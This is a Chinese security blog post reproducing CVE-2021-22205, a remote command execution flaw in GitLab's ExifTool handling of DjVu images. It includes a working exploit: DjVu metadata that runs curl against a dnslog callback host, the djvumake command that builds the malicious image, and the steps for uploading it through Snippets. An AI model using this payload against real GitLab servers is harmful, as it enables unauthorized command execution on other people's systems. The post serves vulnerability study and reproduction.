[CVE-2021-22205] gitlab 命令执行漏洞复现

漏洞简介
GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。 由于 GitLab 没有正确验证传递给文件解析器的图像文件,攻击者可利用该漏洞在服务端进行远程命令执行。
漏洞分析
当上传图片文件时,需要上传DjVu
格式图片,Gitlab Workhorse
将扩展名为jpg|jpeg|tiff
的文件通过ExifTool
删除任何非白名单标记。
其中一个支持的格式是DjVu
。当解析DjVu
注释时,标记被赋值为convert C escape sequences,进行解析。
漏洞利用
工具下载地址:https://launchpad.net/ubuntu/+source/djvulibr
首先在Gitlab平台的注册一个账户及密码
登录后到个人主页,找到Snippets
此处需要上传DjVu格式图片(即Exp),找到漏洞点进行抓包:
rce.txt文本内容:
(metadata
(Copyright "\
" . qx{curl ybit.anvr1c.dnslog.cn} . \
" b ") )使用djvulibre-bin_3.5.27.1-8ubuntu0.4_amd64.deb制作exp
执行命令:djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg 生成exp。 |
上传exp:
执行结果:
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录